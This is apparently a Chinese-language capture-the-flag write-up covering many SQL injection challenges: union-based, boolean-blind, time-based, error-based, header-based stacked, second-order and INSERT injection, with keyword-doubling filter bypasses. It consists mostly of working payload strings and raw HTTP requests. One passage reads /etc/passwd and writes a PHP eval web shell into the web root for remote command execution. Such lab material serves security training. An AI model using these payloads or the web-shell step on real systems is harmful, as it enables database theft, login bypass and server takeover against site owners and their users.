首先看题目、需要输入ID号
输入 1 点击查询
这里提示SQL语句为
SELECT * FROM userinfo WHERE `Id` = '1'
判断注入点,构造闭合语句,进行逻辑尝试,得出 1’ 报错、1‘#不报错、‘1’ and 1=1 #’ 不报错、‘1’ and 1=2 #’ 报错,由此可得此题为字符型SQL注入漏洞。
SELECT * FROM userinfo WHERE `Id` = '1''
SELECT * FROM userinfo WHERE `Id` = '1'#'
SELECT * FROM userinfo WHERE `Id` = '1' and 1=1 #'
SELECT * FROM userinfo WHERE `Id` = '1' and 1=2 #'
使用 ORDER BY 语句判断列数,到5时报错,判断列数为4
SELECT * FROM userinfo WHERE `Id` = '1' order by 1 #'
......
SELECT * FROM userinfo WHERE `Id` = '1' order by 5 #'
使用 UNION SELECT 判断显示位
SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,4 #'
爆数据库、爆数据包、爆字段、爆字段数据、拿到flag值
SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata #'
SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #'
SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag' #'
SELECT * FROM userinfo WHERE `Id` = '-1' union select 1,2,3,group_concat(Id,':',flag) from flag #'
先看题,需要输入1试试
提示sql语句为
select * from news where id=1
判断注入类型、1 显示数据、1‘ 不显示 1’# 也不显示、1+1显示ID=2,由此判断该注入类型为整数型注入
select * from news where id=1
select * from news where id=1'
select * from news where id=1'#
select * from news where id=1+1
逻辑判断
select * from news where id=1 and 1=1
select * from news where id=1 and 1=2
使用 ORDER BY 语句判断列数,3位时报错、判断列数为2
select * from news where id=1 order by 3
使用 UNION SELECT 判断显示位
select * from news where id=-1 union select 1,2
爆数据库、爆数据包、爆字段、爆字段数据、拿到flag值
select * from news where id=-1 union select group_concat(schema_name),2 from information_schema.schemata
select * from news where id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
select * from news where id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='flag'
select * from news where id=-1 union select group_concat(flag),2 from flag
先看题,点击了几个点都没有发现可以注入的地方
点击F12 - 网络 - 点击测试新闻1 - F5刷新页面 - 发现存在一个连接地址 ‘/backend/content_detail.php?id=1’
进行访问,并尝试SQL注入,通过页面回显发现是整数型注入
/content_detail.php?id=1
/content_detail.php?id=2
/content_detail.php?id=3
/content_detail.php?id=1'
/content_detail.php?id=1'#
/content_detail.php?id=1 and 1=1
/content_detail.php?id=1 and 1=2
找到注入点后面就进行常规的SQL注入就行了
/backend/content_detail.php?id=1 order by 3
/backend/content_detail.php?id=-1 union select 1,2
/backend/content_detail.php?id=-1 union select group_concat(schema_name),2 from information_schema.schemata
/backend/content_detail.php?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
/backend/content_detail.php?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='admin'
/backend/content_detail.php?id=-1 union select group_concat(id,':',username,':',password),2 from admin
得出结果为如下,看起来好像是md5加密的但是通过解密平台无法解密、那我们尝试直接使用此账号密码登录一下试试
1:admin:756ba5042c492a3c2481f29e6b796bd6
登录成功获取到flag
先看题
使用弱口令密码 admin:admin 登录失败,显示 ‘ NO,Wrong username password!!!’
尝试寻找闭合方法,发现是单引号闭合,因为报了一个语法错误
admin'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
尝试使用万能密码绕过登录,发现登录失败,尝试使用 || 绕过 or,发现登录成功,这题就是过滤了 ‘or’
admin' or '1'='1
admin' || '1'='1
先看题目,通过点击页面,发现一些注入点,在尝试闭合操作和逻辑判断的时候都显示非法访问,这时候就要改变一下思路了。
发现有个搜索框,那么对搜索框进行一下SQL注入
//模拟一下后台SQL语句
select * from users where key='%xxx%'
// 我们先传一个 1 试试,如果按照我们试想的语句应该是不会报错并可以返回数据的; 成功返回数据
select * from users where key='%1%'
//那我构造一个闭合语句呢,我们传参一个 1%'# ,发现还是正常返回数据
select * from users where key='%1%' #%'
//那继续构造一个逻辑语句,我们传参 1%' and 1=1# 1%' and 1=2# ,发现1=2没有返回数据,这样正符合我们预期,由此判断此搜索框存在SQL注入漏洞
select * from users where key='%1%' and 1=1#%'
select * from users where key='%1%' and 1=2#%'
进行列数、显示位判断
1%' order by 3 #
-1%' union select 1,2,3 #
测试一下是否可以进行文件读写操作,发现可以进行读文件
-1%' union select 1,2,load_file('/etc/passwd') #
那么接下来我们需要,通过进行信息收集的方法找到网站的绝对路径或者网站根目录,进行文件写马操作,通过webshell获取网站权限,打开 F12 - 网络,分析一下,发现此网站的中间件是nginx,那么我们可以通过读一下nginx的默认配置文件路径来获取更多的信息。
通过配置文件发现了,网站根目录,接下来就可以进写马操作
key=-1%' union select 1,2,load_file('/etc/nginx/nginx.conf') #
-1%' union select 1,2,'<?php @eval($_REQUEST[cmd]);?>' into outfile '/var/www/html/1.php' #
写完之后进行访问,并使用蚁剑进行测试连接,连接成功获取了flag
http://xxxxx:8141/1.php
?id=1 and 1=1
# 判断长度
?id=1 and length((select database()))=1 # 循环遍历
key=1米' and 10=length((select database()))#
-- 判断具体数据
?id=1 and substr((select database()),1,1)='a'
key=1米' and substr((select database()),1,1)='s' #
-- 判断所有的数据库
?id=1 and length(( select group_concat(schema_name) from information_schema.schemata ))=1
?id=1 and substr(( select group_concat(schema_name) from information_schema.schemata ),1,1)='a'
-- 判断指定的数据库的数据表
?id=1 and length(( select group_concat(table_name) from information_schema.tables where table_schema=database() ))=1
?id=1 and substr(( select group_concat(table_name) from information_schema.tables where table_schema=database() ),1,1)='a'
-- 判断指定的数据库的数据表的字段
?id=1 and length(( select group_concat(column_name) from information_schema.columns where table_name='表名' ))=1
?id=1 and substr(( select group_concat(column_name) from information_schema.columns where table_name='表名' ),1,1)='a'
-- 判断指定的数据库的数据表的字段的具体值
?id=1 and length(( select group_concat(id,username,password) from 表名 ))=1
?id=1 and substr(( select group_concat(id,username,password) from 表名 ),1,1)='a'
-- 判断所有的数据库
?id=1 and length(( select group_concat(schema_name) from information_schema.schemata ))=1
?id=1 and substr(( select group_concat(schema_name) from information_schema.schemata ),1,1)='a'
-- 判断指定的数据库的数据表
?id=1 and length(( select group_concat(table_name) from information_schema.tables where table_schema=database() ))=1
?id=1 and substr(( select group_concat(table_name) from information_schema.tables where table_schema=database() ),1,1)='a'
-- 判断指定的数据库的数据表的字段
?id=1 and length(( select group_concat(column_name) from information_schema.columns where table_name='表名' ))=1
?id=1 and substr(( select group_concat(column_name) from information_schema.columns where table_name='表名' ),1,1)='a'
-- 判断指定的数据库的数据表的字段的具体值
?id=1 and length(( select group_concat(id,username,password) from 表名 ))=1
?id=1 and substr(( select group_concat(id,username,password) from 表名 ),1,1)='a'
使用 Burp Suite 进行布尔盲注操作
先看题、首先抓一个数据包、发送到爆破模块
判断注入类型,通过页面回显发现为字符型
http://192.168.174.128:8081/Less-8?id=1
http://192.168.174.128:8081/Less-8?id=1'
http://192.168.174.128:8081/Less-8?id=1' and 1=1 --+
http://192.168.174.128:8081/Less-8?id=1' and 1=2 --+
判断数据库长度、通过BP抓包,并循环遍历
http://192.168.174.128:8081/Less-8?id=1' and length((select database()))=1 --+
通过长度判断、数据库长度为8
判断数据库具体值,抓包进行爆破
http://192.168.71.109:8081/Less-8?id=1' and mid(((select database())),1,1)='a' --+
爆破得出 数据库名为:‘security’
判断指定的数据库的数据表长度和具体数据
http://192.168.71.109:8081/Less-8?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+
http://192.168.71.109:8081/Less-8?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' --+
当前数据库得数据表长度为 29
数据库表得具体数据:emails,referers,uagents,users
判断指定的数据库的数据表的字段长度,判断为 20
http://192.168.71.109:8081/Less-8?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()))=1 --+
判断指定的数据库的数据表的字段值,值为:id,username,password
http://192.168.71.109:8081/Less-8?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,1)='a' --+
判断指定的数据库的数据表的字段的具体值
http://192.168.71.109:8081/Less-8?id=1' and mid((select group_concat(id,username,password) from users ),1,1)='a' --+
先看题、首先判断注入点和注入类型
username=1'&password=1
username=1&password=1
username=1'#&password=1
username=1' oorr 1=2 #&password=1
username=1' oorr 1=1 #&password=1
username=1' oorr slsleepeep(3)#&password=1
发现过滤了and or sleep if select mid from mid,并测试and没有用,使用双写or进行逻辑判断,发现存在字符型延时注入漏洞
判断当前数据库长度,首先抓包,然后爆破长度,记得选择通过响应时间筛选,延时最大的那个就是我们想要得数字,判断数据库长度为 5
username=1' oorr iiff((length((seselectlect database()))=1),slsleepeep(6),1) #&password=1
判断当前数据库得具体数据,依旧对比响应时间和长度,判断数据库值为:hazel
username=1' oorr iiff((mimidd((select database()),1,1)='a'),slsleepeep(6),1) #&password=1
判断当前数据库下表的长度,发现表长度为 5
username=1' oorr iiff((length((seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()))=1),slsleepeep(6),1) #&password=1
判断表的具体值,得出表名为users
username=1' oorr iiff((mimidd((seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),1,1)='a'),slsleepeep(6),1) #&password=1
判断表中的列名的长度,得出长度为 20
username=1' oorr iiff((length((seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='users'))=1 ),slsleepeep(6),1) #&password=1
判断表中的列名的具体值,得到具体值为:id,username,password
username=1' oorr iiff((mimidd((seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='users'),1,1)='a' ),slsleepeep(6),1) #&password=1
获得flag值,
username=1' oorr iiff((mimidd((seselectlect group_concat(id,username,passwoorrd) frfromom users),1,1)='a' ),slsleepeep(6),1) #&password=1
获取flag值还是最好使用ASCII码
username=1' oorr iiff((asasciicii(mimidd((seselectlect group_concat(id,username,passwoorrd) frfromom users),1,1))='1' ),slsleepeep(6),1) #&password=1
先看题目,随便输入一个账号密码,会报错 # NO,Wrong username password!!!
判断注入点和注入类型,发现为字符型注入,并过滤了 很多字符双写绕过就行了, 并存在报错注入
/check.php?username=1'&password=1
/check.php?username=1'%23&password=1
/check.php?username=admin' anandd/**/1=1 %23&password=1
/check.php?username=admin' anandd/**/1=2 %23&password=1
查当前数据库,得到数据库为:geek
/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(select database()),0x7e),1)%23&password=a
查看所有数据库,得到数据为: ‘~information_schema,geek,mysql,p’
/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(schema_name)/**/frfromom/**/infoorrmation_schema.schemata),0x7e),1)%23&password=a
查看geek数据库下的表,得到表为:‘geekuser,ssql’
/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(table_name)/**/frfromom/**/infoorrmation_schema.tables/**/whwhereere/**/table_schema=database()),0x7e),1)%23&password=a
查看geekuser表字段,得到字段为:‘id,username,password’
/check.php?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/whwhereere/**/table_schema=database()/**/anandd/**/table_name='geekuser'),0x7e),1)%23&password=a
查看字段具体值, 得到账号密码 ‘~1admine28dd73cc01b8087e30fcc023’
?username=1' anandd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(id,username,passwoorrd)/**/frfromom/**/geekuser),0x7e),1)%23&password=a
先看题,发现有提示 ‘别打头’ 注入点可能是http头部注入
抓POST包,构造语句进行注入,修改User-Agent字段,看响应包得长度,发现存在注入点
User-Agent: 1
User-Agent: 1'
User-Agent: 1'#
User-Agent: 1' and 1=2 #
User-Agent: 1' and 1=1 #
POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
uname=admin&passwd=admin&submit=Submit
使用堆叠注入,获取当前数据库为:hazel
POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1' ;select database();#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
uname=admin&passwd=admin&submit=Submit
获取当前数据库得表名
POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1' ;select database();use hazel;show tables;#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
uname=admin&passwd=admin&submit=Submit
23323333p>html><html><p hidden> emailsp>html><html><p hidden> referersp>html><html><p hidden> uagentsp>html><html><p hidden> usersp>html>font>
查看 23323333 表中数据,获得了flag值:flag{7609695b-15ae-4310-aaf1-85c773c14858}
POST / HTTP/1.1
Host: hazelshishuaige.club:8120
User-Agent: 1' ;select database();use hazel;show tables;select * from `23323333`;#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hazelshishuaige.club:8120/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
uname=admin&passwd=admin&submit=Submit
首先看题,找到题目所有的功能点,有注册,登录,重置密码
让我们使用admin用户进行登录,即可获取key,这题又是二阶注入题目,那么我们先试试能否注册一个 admin用户,发现admin用户已经被注册,那就没有办法去利用
那我们试想一下,注册一个 admin’ 这样的用户呢?构造一下 重置密码的SQL语句
update users set password=$pass where username = $name
如果 $name 是被单引号包裹的话,重置 admin’ 这个用户的密码那么就会出现报错,我们验证一下
update users set password=$pass where username = 'admin''
创建成功登录,并进行重置密码操作
发现没有任何反应,因为正常操作重置密码会提示 ‘成功’ ,我们注册的 admin‘ 没有任何提示
那么我们就可以判断,重置密码界面可能存在注入点,那么我们就可以构造恶意用户,让引号进行包裹,在进行重置密码就相当于重置了admin账号的密码,就可以进行登录操作了。
update users set password=$pass where username = 'admin'#'
创建成功,登录并修改密码
然后使用admin账号和刚刚修改的密码登录,发现成功获取了flag值,flag{f5f3df31-6c0e-44c1-bf9e-248d53571bda}
查看题目
点击文章发布随便发一个文章,并进行抓包
响应包,返回了SQL语句
insert into article(title,author,description,content,dateline) values('1','2','3','4',1701156599)
构造注入语句
insert into article(title,author,description,content,dateline) values('1','2','3','4',123),(1,2,3,(select database()),5) #',1701156599)
需要替换的语句为
4',123),(1,2,3,(select database()),5) #'
爆表名
4',123),(1,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),3,4,5) #
爆列名
4',123),(1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='hazel' and table_schema=database()),5) #
爆字段名
4',123),(1,2,3,(select group_concat(flag_is_here) from hazel ),5) #
拿到flag,flag{f57d071a-97ee-4e39-99ed-35c9cda4258d}